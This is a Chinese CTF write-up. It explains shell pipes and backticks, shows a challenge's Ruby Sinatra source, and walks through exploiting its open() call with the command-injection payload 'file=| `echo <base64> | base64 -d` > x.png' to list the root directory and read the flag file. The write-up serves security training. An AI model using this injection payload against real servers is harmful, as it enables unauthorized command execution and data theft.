目录
- 一、原理
- 二、操作过程
一、原理
1、base64 -d
🍺
从标准输入中读取已经进行base64编码的内容,解码输出
2、管道符 |
🍺
使用此管道符"|"
可以将两个命令分隔开,"|"
左边命令的输出就会作为"|"
右边命令的输入,此命令可连续使用
3、反引号🍺
(1)、( ` )这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆
(2)、反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。
4、反引号还可以嵌套使用🍺
但需注意,嵌套使用时内层的反引号必须用反斜杠(\)将其转义,例如:
$ abc=`echo The num of users is \`who| nb -l\``
$ echo $abc
二、操作过程
🍺题目给了一个.rb
文件,.rb
文件格式是Ruby
创建的程序源代码
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
代码主要实现两个功能,分为upload
与convert
两个页面,一个上传图片,一个转换图片
🍺分析代码,注意到convert功能代码调用了open()
函数,尝试一下命令执行
首先随便选择个png图片上传,代码分析可以知道,返回的是加密的文件名
convert
页面进行图片PNG转换,分析源码
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
可以看到,在读取到文件后,将文件进行base64
加密输出
🍺可以利用这一点,将我们将需要执行的代码写入到图片中,然后执行代码,访问图片后会以base64加密的形式输出我们想要的信息,同时,需要注意,输入参数时过滤了反斜杠
和进行png后缀检测
这里我们利用管道符与反引号进行payload
ls /
进行base64加密后为bHMgLw==
,我们将bHMgLw==
输入给管道符后面,进行base64解密,反引号执行完后,第一个管道符前面没有代码,直接执行后面代码,将ls /
写入图片
file=| `echo bHMgLw== | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png
我们将ls /
写入了图片中
🍺然后查看图片
可以看到,我们刚刚写入的代码执行了,以base64加密
输出信息
🍺将得到的密文解密
可以看到,存在flag_2459
文件
🍺然后查看该文件内容,需要将查看文件代码写入
cat /flag_2459
进行base64加密后为Y2F0IC9mbGFnXzI0NTk=
file=| `echo Y2F0IC9mbGFnXzI0NTk= | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png
🍺将代码写入图片中并访问执行
🍺又得到一串base64加密的密文,进行base64解密
得到Flag
,结束!🍺
可到ctfhub
上进行复盘